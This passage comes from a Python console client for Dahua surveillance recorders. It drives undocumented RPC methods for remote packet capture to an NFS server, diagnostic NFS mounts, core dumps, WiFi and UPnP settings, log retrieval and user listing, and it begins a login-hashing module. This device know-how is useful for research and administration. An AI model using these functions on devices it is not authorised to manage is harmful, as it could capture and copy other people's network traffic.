"stdout",
"sysbackup",
"SysMem",
"tftptimeout",
"tk",
"TracingCode",
"tracode",
"uid",
"up",
"updatetimeout",
"UUID",
"vendor",
"ver",
"Verif_Code",
"verify",
"videodebug",
"watchdog",
"wifiaddr",
"COUNTRYCODE",
"HWID_ORG", # MCW
],
},
"object": object_id,
}
elif cmd[1] == 'getenv':
if not len(cmd) == 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
# method = "magicBox.getEnv" # should be
method = "magicBox.getBootParameter" # working too
query_args = {
"method": method,
"params": {
"names": [cmd[2]], # needed for magicBox.getBootParameter
# "name": cmd[2], # needed for magicBox.getEnv
},
"object": object_id,
}
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
dh_data = self.send_call(query_args, errorcodes=True)
if not dh_data:
return False
if dh_data.get('result'):
print(json.dumps(dh_data, indent=4))
elif not dh_data.get('result'):
log.failure('Error: {}'.format(dh_data.get('error')))
self.instance_service(method_name, stop=True)
return
#
# tcpdump network capture from remote device
#
def network_sniffer_manager(self, msg):
cmd = msg.split()
usage = {
"start": {
"<nic> <path>": "[Wireshark capture filter syntax]"
},
"stop": "(stop remote pcap)",
"info": "(info about remote pcap)"
}
if len(cmd) == 1 or cmd[1] == 'start' and not len(cmd) >= 4 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
method_name = 'NetworkSnifferManager'
if not self.instance_service(method_name, pull='object'):
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
self.dh_sniffer_nic = 'eth0'
# dh_sniffer_nic = "eth0"
# dh_sniffer_path = "/nfs"
# dh_sniffer_filter = ""
# dh_sniffer_filter = \
# "not host 192.168.57.20 and not host 192.168.57.7 and not host 192.168.57.167 and not host 192.168.57.27"
if cmd[1] == 'start':
if not self.interim_remote_diagnose("diag nfs status"):
log.failure("NFS must be mounted with: diag nfs mount")
return False
self.dh_sniffer_nic = cmd[2]
dh_sniffer_path = cmd[3]
dh_sniffer_filter = ''
if len(cmd) > 3:
dh_sniffer_filter = ' '.join(cmd[4:])
query_args = {
"method": "NetworkSnifferManager.start",
"params": {
"networkCard": self.dh_sniffer_nic,
"path": dh_sniffer_path,
"saveType": "Wireshark/Tcpdump",
"filter": dh_sniffer_filter,
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data:
log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
return False
# print(json.dumps(dh_data,indent=4))
if not dh_data.get('result'):
log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
self.instance_service(method_name, stop=True)
return False
self.networkSnifferID = dh_data.get('params').get('networkSnifferID')
log.info("({}) Start: ID: {}, NIC: {}, Path: {}, Filter: {}".format(
cmd[0],
self.networkSnifferID,
query_args.get('params').get('networkCard'),
query_args.get('params').get('path'),
query_args.get('params').get('filter'),
))
elif cmd[1] == 'info':
query_args = {
"method": "NetworkSnifferManager.getSnifferInfo",
"params": {
"condition": {
"NetworkCard": self.dh_sniffer_nic,
},
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data:
log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
return False
if not dh_data.get('result'):
log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
self.instance_service(method_name, stop=True)
return False
sniffer_infos = dh_data.get('params').get('snifferInfos')
if not len(sniffer_infos):
log.info("No remote pcap running")
return False
self.networkSnifferID = sniffer_infos[0].get('NetworkSnifferID')
self.networkSnifferPath = sniffer_infos[1].get('Path')
log.info("({}) Info: ID: {}, Path: {}".format(cmd[0], self.networkSnifferID, self.networkSnifferPath))
return True
elif cmd[1] == 'stop':
if not self.network_sniffer_manager("pcap info"):
return False
query_args = {
"method": "NetworkSnifferManager.stop",
"params": {
"networkSnifferID": self.networkSnifferID,
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data:
log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
return False
if not dh_data.get('result'):
log.failure(color("{}: {}".format(query_args.get('method'), dh_data), LRED))
self.instance_service(method_name, stop=True)
return False
self.instance_service(method_name, stop=True)
log.info("({}) Stopped: ID: {}, Path: {}".format(cmd[0], self.networkSnifferID, self.networkSnifferPath))
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return
#
# Debug of remote device
#
def interim_remote_diagnose(self, msg):
cmd = msg.split()
usage = {
"nfs": {
"status": "(Check if NFS mounted)",
"mount": "[<server host> /<server path>]",
"umount": "(Umount NFS)",
},
"usb": {
"get": "(Not done yet)",
"set": "(Not done yet)",
},
"pcap": {
"start": "(Start capture)",
"stop": "(Stop capture)",
"filter": "<get> | <set> <lo|eth0|eth2> <host>",
},
"coredump": {
"start": "(Start coredump support)",
"stop": "(Stop coredump support)",
},
"logs": {
"start": "(Start redirect logs to NFS)",
"stop": "(Stop redirect logs to NFS)",
}
}
if len(cmd) < 2 or len(cmd) == 3 and cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if not self.check_for_service('InterimRemoteDiagnose'):
return False
if cmd[1] == 'nfs':
if not len(cmd) >= 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if cmd[2] == 'status':
query_args = {
"method": "InterimRemoteDiagnose.getConfig",
"params": {
"name": "InterimRDNfs",
},
}
dh_data = self.send_call(query_args)
if dh_data:
dh_data = dh_data.get('params').get('DebugConfig')
log.info(
"NFS Directory: {}, Serverip: {}, Enable: {}".format(
dh_data.get('Directory'), dh_data.get('Serverip'), dh_data.get('Enable'))
)
# {"result":true,"params":{"conn":true},"session":2103981993,"id":4}
# {"result":true,"params":{"conn":false},"session":2103981993,"id":4}
query_args = {
"method": "InterimRemoteDiagnose.testNfsStatus",
"params": {
},
}
dh_data = self.send_call(query_args)
if dh_data:
log.info("NFS connected: {}".format(dh_data.get('params').get('conn')))
return dh_data.get('params').get('conn')
log.failure('NFS status')
return False
elif cmd[2] == 'mount' or cmd[2] == 'umount':
if len(cmd) >= 4:
if not check_ip(cmd[3]):
log.failure('"{}" is not valid host'.format(cmd[3]))
return False
if len(cmd) == 5 and not cmd[4][0] == '/':
log.failure('path must start with "/"'.format(cmd[4]))
return False
query_args = {
"method": "InterimRemoteDiagnose.getConfig",
"params": {
"name": "InterimRDNfs",
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
debug_config = dh_data.get('params').get('DebugConfig')
debug_config['Enable'] = True if cmd[2] == 'mount' else False
debug_config.update({"Serverip": cmd[3] if len(cmd) >= 4 else debug_config.get('Serverip')})
debug_config.update({"Directory": cmd[4] if len(cmd) == 5 else debug_config.get('Directory')})
query_args = {
"method": "InterimRemoteDiagnose.setConfig",
"params": {
"name": "InterimRDNfs",
"DebugConfig": {
# Default config
# "Directory":"/c/public_dev",
# "Enable":False,
# "Serverip":"10.33.12.137"
},
},
}
query_args.get('params').get('DebugConfig').update(debug_config)
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("NFS {}: {}".format('mount' if cmd[2] == 'mount' else 'umount', dh_data.get('result')))
return True
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
elif cmd[1] == 'usb':
if not len(cmd) == 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if cmd[2] == 'get':
# {"result":true,"params":{"UStoragePosition":['/dev/sdb1', '/dev/sdc1']},"session":1217107065,"id":4}
# {"result":true,"params":{"UStoragePosition":null},"session":1413317462,"id":4}
query_args = {
"method": "InterimRemoteDiagnose.getUStoragePosition",
"params": {
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info(
"USB Storage: {}".format(
dh_data.get('params').get('UStoragePosition')
if dh_data.get('params').get('UStoragePosition') else "Not found")
)
return True
elif cmd[2] == 'set':
# error: {'code': 268959743, 'message': 'Unknown error! error code was not set in service!'}
query_args = {
"method": "InterimRemoteDiagnose.setUStoragePosition",
"params": {
"UStoragePosition": "/dev/sdb1",
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("USB Storage: {}".format(dh_data))
return True
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
elif cmd[1] == 'pcap':
if not len(cmd) >= 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if cmd[2] == 'filter':
if not len(cmd) >= 4:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
if cmd[3] == 'get':
query_args = {
"method": "InterimRemoteDiagnose.getConfig",
"params": {
"name": "InterimRDNetFilter",
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("PCAP Filter: {}".format(dh_data.get('params').get('debug_config')))
return True
elif cmd[3] == 'set':
#
# Might be more dh_data in the future, read and update only what we know
# Leave possible other untouched
#
query_args = {
"method": "InterimRemoteDiagnose.getConfig",
"params": {
"name": "InterimRDNetFilter",
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
pcap_iface = 'eth0'
pcap_filter_ip = ''
# Default
# Name = 'eth0'
# FilterIP = '10.33.12.137'
# FilterPort = '37777'
debug_config = dh_data.get('params').get('DebugConfig')
debug_config.update({"FilterIP": pcap_filter_ip})
# debug_config.update({"FilterPort":FilterPort}) # Cannot be changed from 37777
debug_config.update({"Name": pcap_iface})
query_args = {
"method": "InterimRemoteDiagnose.setConfig",
"params": {
"name": "InterimRDNetFilter",
"DebugConfig": debug_config,
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("PCAP Filter: {}".format(debug_config))
return True
elif cmd[2] == 'start':
if not self.interim_remote_diagnose("diag nfs status"):
log.failure("NFS must be mounted with: diag nfs mount")
return False
query_args = {
"method": "InterimRemoteDiagnose.getConfig",
"params": {
"name": "InterimRDNetFilter",
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("PCAP Filter: {}".format(dh_data.get('params').get('debug_config')))
query_args = {
# {"result":true,"params":null,"session":336559066,"id":4}
"method": "InterimRemoteDiagnose.startRemoteCapture",
"params": {
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("PCAP Start: {}".format(dh_data.get('result')))
return True
elif cmd[2] == 'stop':
query_args = {
# {"result":true,"params":null,"session":468902923,"id":4}
"method": "InterimRemoteDiagnose.stopRemoteCapture",
"params": {
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("PCAP Stop: {}".format(dh_data.get('result')))
return True
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
elif cmd[1] == 'coredump':
if not self.args.force:
log.failure("({}) will reboot NVR (force with -f)".format(cmd[1]))
return False
if not len(cmd) >= 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if cmd[2] == 'start' or cmd[2] == 'stop':
query_args = {
"method": "InterimRemoteDiagnose.setConfig",
"params": {
"name": "InterimRDCoreDump",
"DebugConfig": {
"Enable": True if cmd[2] == 'start' else False,
},
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("CoreDump {}: {}".format("Start" if cmd[2] == 'start' else "Stop", dh_data.get('result')))
return True
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
elif cmd[1] == 'logs':
if not len(cmd) == 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if not self.interim_remote_diagnose("diag nfs status"):
log.failure("NFS must be mounted")
return False
if cmd[2] == 'start' or cmd[2] == 'stop':
query_args = {
"method": "InterimRemoteDiagnose.setConfig",
"params": {
"name": "InterimRDPrint",
"DebugConfig": {
"AlwaysEnable": False,
"OnceEnable": True if cmd[2] == 'start' else False,
"PrintLevel": 6
},
},
}
dh_data = self.send_call(query_args)
if not dh_data:
return False
log.info("Logs {}: {}".format("Start" if cmd[2] == 'start' else "Stop", dh_data.get('result')))
return True
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
else:
log.failure('No such command: {}'.format(msg))
# log.info('{}'.format(help_all(msg=msg,usage=usage)))
return True
def net_app(self, msg, callback=False):
#
# Should need to have events subscribed
#
if callback:
print(json.loads(msg, indent=4))
return True
cmd = msg.split()
dh_data = None
nic = None
net_resource_stat = None
usage = {
"info": "(Network Information)",
"wifi": {
"enable": "(enable adapter)",
"disable": "(disable adapter)",
"scan": "(scan for WiFi AP)",
"conn": "<SSID> <key>",
"disc": "(disconnect from WiFi AP)",
"reset": "(reset WiFi settings to default)",
},
"upnp": {
"status": "(show UPnP status)",
"enable": "[all] (enable UPnP)",
"disable": "[all] (disable UPnP)"
}
}
if not len(cmd) >= 2 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
method_name = 'netApp'
if not self.instance_service(method_name, pull='object'):
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
query_args = {
"method": "netApp.getNetInterfaces",
"params": {
},
"object": object_id,
}
net_interface = self.send_call(query_args)
if cmd[1] == 'wifi':
if not len(cmd) >= 3 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
self.instance_service(method_name, stop=True)
return True
wireless_nic = False
for nic in net_interface.get('params').get('netInterface'):
if nic.get('Type') == 'Wireless':
wireless_nic = nic.get('Name')
if not wireless_nic:
log.failure("No WiFi adapter available")
return False
auth_encryption = {
"00": "Off",
"01": "WEP-OPEN",
"11": "WEP-SHARED",
"32": "WPA-PSK-TKIP",
"33": "WPA-PSK-TKIP+AES",
"34": "WPA-PSK-TKIP+AES",
"42": "WPA2-TKIP",
"52": "WPA2-PSK-TKIP",
"53": "WPA2-PSK-AES",
"54": "WPA2-PSK-TKIP+AES",
"72": "WPA/WPA2-PSK-TKIP",
"73": "WPA/WPA2-PSK-AES",
"74": "WPA/WPA2-PSK-TKIP+AES",
}
link_mode = {
"0": "Auto",
"1": "Ad-hoc",
"2": "Infrastructure",
}
if len(cmd) == 3 and cmd[2] == 'scan':
query_args = {
"method": "netApp.scanWLanDevices",
"params": {
"Name": wireless_nic,
"SSID": "",
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data.get('params').get('wlanDevice'):
log.failure("No WiFi available")
return False
wlan_device = dh_data.get('params').get('wlanDevice')
for wifi_ap in wlan_device:
log.success(
"BSSID: {} RSSI: {} Strength: {} Quality: {} Connected: {} SSID: {}\n"
"MaxBitRate: {} Mbit NetWorkType: {} Connect Mode: {} Authorize Mode: {}".format(
color(wifi_ap.get('BSSID'), GREEN),
color(wifi_ap.get('RSSIQuality'), GREEN),
color(wifi_ap.get('Strength'), GREEN),
color(wifi_ap.get('LinkQuality'), GREEN),
color(bool(wifi_ap.get('ApConnected')), GREEN if wifi_ap.get('ApConnected') else RED),
color(wifi_ap.get('SSID'), GREEN),
color(str(int(wifi_ap.get('ApMaxBitRate')) / 1000000).split('.')[0], GREEN),
color(wifi_ap.get('ApNetWorkType'), GREEN),
color(link_mode.get(str(wifi_ap.get('link_mode'))), GREEN),
color(auth_encryption.get(
str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr')), "UNKNOWN"), GREEN)
))
elif len(cmd) == 5 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] in [
'enable', 'disable', 'conn', 'disc', 'reset']:
if cmd[2] == 'conn' and len(cmd) == 5:
query_args = {
"method": "netApp.scanWLanDevices",
"params": {
"Name": wireless_nic,
"SSID": cmd[3],
},
"object": object_id,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "configManager.getDefault" if cmd[2] == 'reset' else "configManager.getConfig",
"params": {
"name": "WLan",
},
}
dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
if not dh_data:
log.failure("(WLan) {}".format(dh_data))
return False
wlan = dh_data.get('WLan').get('params').get('table').get(wireless_nic)
if len(cmd) == 3 and cmd[2] == 'conn' or len(cmd) == 3 and cmd[2] == 'disc':
if wlan.get('SSID'):
if nic.get('ConnStatus') == 'Connected' and cmd[2] == 'conn':
log.failure("Already Connected")
return False
elif nic.get('ConnStatus') == 'Disconn' and cmd[2] == 'disc':
log.failure("Already Disconnected")
return False
elif not wlan.get('Enable'):
log.failure("WiFi disabled")
return False
wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False
else:
log.failure("Wireless not configured")
return False
elif len(cmd) == 3 and cmd[2] == 'enable' or len(cmd) == 3 and cmd[2] == 'disable':
if wlan.get('Enable') and cmd[2] == 'enable':
log.failure("Already Enabled")
return False
elif not wlan.get('Enable') and cmd[2] == 'disable':
log.failure("Already Disabled")
return False
wlan['Enable'] = True if cmd[2] == 'enable' else False
if cmd[2] == 'conn' and len(cmd) == 5:
if not dh_data.get('netApp.scanWLanDevices').get('result'):
log.failure('Wrong SSID and/or AP not accessible')
return False
wifi_ap = dh_data.get('netApp.scanWLanDevices').get('params').get('wlanDevice')[0]
wlan['Encryption'] = auth_encryption.get(
str(wifi_ap.get('AuthMode')) + str(wifi_ap.get('EncrAlgr'))) if cmd[2] == 'conn' else 'Off'
wlan['link_mode'] = link_mode.get(str(wifi_ap.get('link_mode')))
wlan['ConnectEnable'] = True if cmd[2] == 'conn' else False
wlan['KeyFlag'] = True if cmd[2] == 'conn' else False
wlan['SSID'] = wifi_ap.get('SSID') if cmd[2] == 'conn' else ''
wlan['Keys'][0] = cmd[4] if cmd[2] == 'conn' else 'abcd'
query_args = {
"method": "configManager.setConfig",
"params": {
"name": "WLan",
"table": dh_data.get('WLan').get('params').get('table'),
},
}
dh_data = self.send_call(query_args)
if not dh_data or not dh_data.get('result'):
log.failure('TimeOut for "{}" (wrong pwd?)'.format(wlan.get('SSID')))
log.failure("dh_data: {}".format(dh_data))
return False
if cmd[2] == 'conn' and wlan.get('Enable')\
or cmd[2] == 'enable' and wlan.get('SSID') and wlan.get('ConnectEnable'):
conn = log.progress("Status")
while True:
query_args = {
"method": "netApp.getNetInterfaces",
"params": {
},
"object": object_id,
}
dh_data = self.send_call(query_args)
for nic in dh_data.get('params').get('net_interface'):
if not nic.get('Type') == 'Wireless':
continue
conn.status(nic.get('ConnStatus'))
if nic.get('ConnStatus') == 'Connected':
conn.success('Connected')
return True
time.sleep(1)
else:
self.instance_service(method_name, stop=True)
log.success("Success")
# ConfigManager.getConfig("AccessPoint")
# ConfigManager.getConfig("WLan")
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
elif cmd[1] == 'info':
for nic in net_interface.get('params').get('netInterface'):
net_appmethod = {
"netApp.getNetDataStat",
"netApp.getNetResourceStat",
"netApp.getCaps",
}
for method in net_appmethod:
query_args = {
"method": method,
"params": {
"Name": nic.get('Name'),
},
"object": object_id,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "configManager.getConfig",
"params": {
"name": "Network",
},
}
dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
# print(json.dumps(dh_data,indent=4))
net_data_stat = dh_data.get('netApp.getNetDataStat').get('params')
net_resource_stat = dh_data.get('netApp.getNetResourceStat').get('params')
nic_iface = dh_data.get('Network').get('params').get('table').get(nic.get('Name'))
link_info = "Link support long PoE: {}, connection: {}, speed: {}".format(
nic.get('SupportLongPoE'),
nic.get('Type') if nic.get('Type') == 'Wireless' else 'Wired',
nic.get('Speed'),
)
log.success(
"\033[92m[\033[91m{}\033[92m]\033[0m {}{}\ndhcp: {} dns: [{}] mtu: {}\n"
"inet {} netmask {} gateway {}\nether {} txqueuelen {}\n"
"RX packets {} bytes {} ({}) util {} Kbps\n"
"RX errors {} dropped {} overruns {} frame {}\n"
"TX packets {} bytes {} ({}) util {} Kbps\n"
"TX errors {} dropped {} carrier {} collisions {}\n{}".format(
nic.get('Name'),
color(nic.get('ConnStatus'), GREEN if nic.get('ConnStatus') == 'Connected' else RED),
color(
" (SSID: {})".format(nic.get('ApSSID'))
if nic.get('ConnStatus') == 'Connected' and nic.get('Type') == 'Wireless' else '',
LBLUE),
nic_iface.get('DhcpEnable'),
', '.join(str(x) for x in nic_iface.get('DnsServers')),
nic_iface.get('MTU'),
nic_iface.get('IPAddress'),
nic_iface.get('SubnetMask'),
nic_iface.get('DefaultGateway'),
nic_iface.get('PhysicalAddress'),
net_data_stat.get('Transmit').get('txqueuelen'),
net_data_stat.get('Receive').get('packets'),
net_data_stat.get('Receive').get('bytes'),
size(net_data_stat.get('Receive').get('bytes')),
net_data_stat.get('Receive').get('speed'),
net_data_stat.get('Receive').get('errors'),
net_data_stat.get('Receive').get('droped'),
net_data_stat.get('Receive').get('overruns'),
net_data_stat.get('Receive').get('frame'),
net_data_stat.get('Transmit').get('packets'),
net_data_stat.get('Transmit').get('bytes'),
size(net_data_stat.get('Transmit').get('bytes')),
net_data_stat.get('Transmit').get('speed'),
net_data_stat.get('Transmit').get('errros'), # consistent.. d0h!
net_data_stat.get('Transmit').get('droped'),
net_data_stat.get('Transmit').get('collisions'),
net_data_stat.get('Transmit').get('txqueuelen'),
link_info,
))
net_resource_info = \
"IP Channel In: {}, Net Capability: {}, Net Remain: {}\n" \
"Remote Preview: {}, Send Capability: {}, Send Remain {}".format(
net_resource_stat.get('IPChanneIn'),
net_resource_stat.get('NetCapability'),
net_resource_stat.get('NetRemain'),
net_resource_stat.get('RemotePreview'),
net_resource_stat.get('RemoteSendCapability'),
net_resource_stat.get('RemoteSendRemain'),
)
log.success("\033[92m[\033[91mInfo\033[92m]\033[0m default nic: {}, hostname: {}, domain: {}\n{}".format(
dh_data.get('Network').get('params').get('table').get('DefaultInterface'),
dh_data.get('Network').get('params').get('table').get('Hostname'),
dh_data.get('Network').get('params').get('table').get('Domain'),
net_resource_info,
))
self.instance_service(method_name, stop=True)
elif cmd[1] == 'upnp':
if not len(cmd) == 3:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
self.instance_service(method_name, stop=True)
return False
query_args = {
"method": "netApp.getUPnPStatus",
"params": None,
"object": object_id,
}
self.send_call(query_args, multicall=True)
query_args = {
"method": "configManager.getConfig",
"params": {
"name": "UPnP",
},
}
dh_data = self.send_call(query_args, multicall=True, multicallsend=True)
if not dh_data.get('netApp.getUPnPStatus').get('result') or not dh_data.get('UPnP').get('result'):
log.failure('UPnP service not supported')
return False
if len(cmd) == 3 and cmd[2] == 'status':
upnp_status = dh_data.get('netApp.getUPnPStatus').get('params')
upnp_table = dh_data.get('UPnP').get('params').get('table')
upnp_map = ''
for MapTable in range(0, len(upnp_table.get('MapTable'))):
upnp_map += "Enable: {} Internal Port: {:<6} External Port: {:<6} " \
"Protocol: {}:{} ServiceName: {:<4} Status: {}\n".format(
upnp_table.get('MapTable')[MapTable].get('Enable'),
upnp_table.get('MapTable')[MapTable].get('InnerPort'),
upnp_table.get('MapTable')[MapTable].get('OuterPort'),
upnp_table.get('MapTable')[MapTable].get('Protocol'),
upnp_table.get('MapTable')[MapTable].get('ServiceType'),
upnp_table.get('MapTable')[MapTable].get('ServiceName'),
color(
upnp_status.get('PortMapStatus')[MapTable],
GREEN if upnp_status.get('PortMapStatus')[MapTable] == 'Failed' else RED
))
log.success(
"\033[92m[\033[91mUPnP\033[92m]\033[0m\n"
"Enable: {}, Mode: {}, Device Discover: {}\n"
"Status: {}, Working: {}, Internal IP: {}, external IP: {}\n"
"\033[92m[\033[91mMaps\033[92m]\033[0m\n{}".format(
color(upnp_table.get('Enable'), RED if upnp_table.get('Enable') else GREEN),
upnp_table.get('Mode'),
upnp_table.get('StartDeviceDiscover'),
color(upnp_status.get('Status'), RED if upnp_status.get('Working') else GREEN),
color(upnp_status.get('Working'), RED if upnp_status.get('Working') else GREEN),
upnp_status.get('InnerAddress'),
upnp_status.get('OuterAddress'),
upnp_map,
))
elif len(cmd) >= 3 and cmd[2] == 'disable' or cmd[2] == 'enable':
query_args = {
"method": "configManager.getConfig",
"params": {
"name": "UPnP",
},
}
dh_data = self.send_call(query_args)
upnp_config = dh_data.get('params').get('table')
if not upnp_config.get('Enable') and cmd[2] == 'disable'\
or upnp_config.get('Enable') and cmd[2] == 'enable':
log.failure("UPnP already {}".format('disabled' if cmd[2] == 'disable' else 'enabled'))
return False
upnp_config['Enable'] = False if cmd[2] == 'disable' else True
if len(cmd) == 4 and cmd[3] == 'all':
for dh_map in range(0, len(upnp_config.get('MapTable'))):
upnp_config['MapTable'][dh_map]['Enable'] = False if cmd[2] == 'disable' else True
query_args = {
"method": "configManager.setConfig",
"params": {
"name": "UPnP",
"table": upnp_config,
},
}
dh_data = self.send_call(query_args)
if dh_data.get('result'):
log.success("UPnP {}".format('disabled' if cmd[2] == 'disable' else 'enabled'))
else:
log.failure("UPnP NOT {}".format('disabled' if cmd[2] == 'disable' else 'enabled'))
else:
log.failure("{} {} {}".format(cmd[0], cmd[1], usage.get(cmd[1], '(No help defined)')))
return False
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
self.instance_service(method_name, stop=True)
return
def dlog(self, msg):
cmd = msg.split()
method_name = 'log'
self.instance_service(method_name, start=True)
object_id = self.instance_service(method_name, pull='object')
if not object_id:
return False
dlog_count = 20
if len(cmd) == 2:
try:
dlog_count = int(cmd[1])
except ValueError:
log.failure('({}) not valid number'.format(cmd[1]))
return False
query_args = {
"method": "global.getCurrentTime",
"params": None,
}
dh_data = self.send_call(query_args)
if not dh_data.get('result'):
log.failure('{} Failed'.format(query_args.get('method')))
return False
query_args = {
"method": "log.startFind",
"params": {
"condition": {
"StartTime": "1970-01-01 00:00:00", # Lets start from the beginning ,)
"EndTime": dh_data.get('params').get('time'),
"Translate": True,
"Order": "Descent", # ok
"Types": "",
},
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data.get('result'):
log.failure('{} Failed'.format(query_args.get('method')))
return False
dlog_token = dh_data.get('params').get('token')
query_args = {
"method": "log.getCount",
"params": {
"token": dlog_token,
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data or not dh_data.get('result'):
log.failure('{} Failed'.format(query_args.get('method')))
return False
query_args = {
"method": "log.doSeekFind",
"params": {
"token": dlog_token,
"offset": 0,
"count": dlog_count,
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data.get('result'):
log.failure('{} Failed'.format(query_args.get('method')))
return False
dlogs = dh_data.get('params').get('items')
found = dh_data.get('params').get('found')
log.info('Found: {}'.format(found))
for dlog in dlogs:
print('{}Detail: {}\nUser: {}, Device: {}, Type: {}, Level: {}'.format(
help_msg(dlog.get('Time')),
dlog.get('Detail'),
dlog.get('User'),
dlog.get('Device'),
dlog.get('Type'),
dlog.get('Level'),
))
query_args = {
"method": "log.stopFind",
"params": {
"token": dlog_token,
},
"object": object_id,
}
dh_data = self.send_call(query_args)
if not dh_data.get('result'):
log.failure('{} Failed'.format(query_args.get('method')))
self.instance_service(method_name, stop=True)
return
def dh_test(self, msg):
return
def user_manager(self, msg):
"""User management: only list users and show capabilities"""
cmd = msg.split()
usage = {
"list": "(list all users)",
"caps": "(get user management capabilities)",
}
if len(cmd) == 1 or cmd[1] == '-h':
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return True
if cmd[1] == "list":
query_args = {
"method": "userManager.getUserInfoAll",
"params": {}
}
elif cmd[1] == "caps":
query_args = {
"method": "userManager.getCaps",
"params": {}
}
else:
log.info('{}'.format(help_all(msg=msg, usage=usage)))
return False
dh_data = self.send_call(query_args, errorcodes=True)
if not dh_data:
log.failure("Failed to execute user management command")
return False
if dh_data.get('result'):
print(json.dumps(dh_data, indent=4))
return True
else:
log.failure(f"Command '{cmd[1]}' failed: {dh_data.get('error', 'Unknown error')}")
return False
================================================
FILE: dahua_logon_modes.py
================================================
from utils import *
from datetime import datetime
""" For Dahua DES/3DES """
ENCRYPT = 0x00
DECRYPT = 0x01
def dahua_logon(logon=None, query_args=None, username=None, password=None, saved_host=None, init=False):
"""
Dahua logon types
args: logon: '3des',
args: username -or- password, des_mode=ENCRYPT (default) | DECRYPT
args: logon: 'dvrip',
args: username, password, dh_random (option: saved_host)
required: init=True, username (return required arguments for first logon with DHIP/HTTP)
args: logon:
"""
""" DVRIP/DES start """
if logon == '3des':
params = {
"username": dahua_gen0_hash(username, ENCRYPT),
"password": dahua_gen0_hash(password, ENCRYPT)
}
return params
elif logon == 'dvrip':
dh_realm = query_args.get('realm')
dh_random = query_args.get('random')
dvrip_hash = username + '&&'
dvrip_hash += dahua_gen2_md5_hash(
dh_random=dh_random, dh_realm=dh_realm, username=username, password=password, saved_host=saved_host)
# OldDigestMD5 ??
dvrip_hash += dahua_dvrip_md5_hash(
dh_random, username, password, saved_host)
params = {
"hash": dvrip_hash
}
return params
""" DVRIP/DES end """
""" DHIP/http/https: First login start """
params = {
"userName": username,
"password": "",
"clientType": "Web3.0",
"loginType": "Direct",
}
if logon == 'wsse':
params.update({"clientType": "WSSE"})
elif logon == 'onvif:plain' or logon == 'onvif:digest' or logon == 'onvif:onvif':
params.update({"clientType": "Onvif"})
params.update({"loginType": "Onvif"})
if init:
""" Retrieve necessary options for Second login """
return params
""" DHIP/http/https: First login end """
""" DHIP/http/https: Second login start """
password_type = {
"Plain": "Plain",
"Basic": "Basic",
"OldDigest": "OldDigest",
"Default": "Default",
"Onvif": "Onvif",
"2DCode": "2DCode" # params.code
}
authority_type = {
"Plain": "Plain",
"Basic": "Basic",
"OldDigest": "OldDigest",
"Default": "Default",
"Onvif": "Onvif",
"2DCode": "2DCode", # params.code
"Ushield": "Ushield"
}
query_args = query_args.get('params')
dh_random = query_args.get('random')
dh_realm = query_args.get('realm')
encryption = query_args.get('encryption')
""" authorization: Not known usage, unique for each device but not random """
# authorization = query_args.get('authorization')
# mac_address = query_args.get('mac')
""" DHIP/http/https: Second login, set default params """
params = {
# "random": dh_random, # With 'clientType' = 'Local'
# "realm": dh_realm, # With 'clientType' = 'Local'
"userName": username,
"ipAddr": "127.0.0.1",
"loginType": "Direct",
"clientType": "Console",
"authorityType": authority_type.get(encryption), # Default, OldDigest
